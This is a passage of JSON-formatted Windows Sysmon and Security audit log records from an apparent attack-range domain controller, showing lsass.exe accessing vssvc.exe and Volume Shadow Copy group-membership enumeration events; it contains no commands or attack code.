11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222117,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5542,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222118,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5543,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222119,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5544,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222120,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5545,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222121,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x1390\r\n\tProcess Name:\t\tC:\\Windows\\System32\\VSSVC.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","CallerProcessId":"0x1390","CallerProcessName":"C:\\Windows\\System32\\VSSVC.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5546,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:32.947\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 2720\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010D6510800}\r\nTargetProcessId: 5008\r\nTargetImage: C:\\Windows\\system32\\vssvc.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:32.947","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"2720","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-4170-5F2D-0000-0010D6510800}","TargetProcessId":"5008","TargetImage":"C:\\Windows\\system32\\vssvc.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1fb7a|C:\\Windows\\SYSTEM32\\samsrv.dll+5df1|C:\\Windows\\SYSTEM32\\samsrv.dll+5cf2|C:\\Windows\\SYSTEM32\\samsrv.dll+184ee|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222122,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon 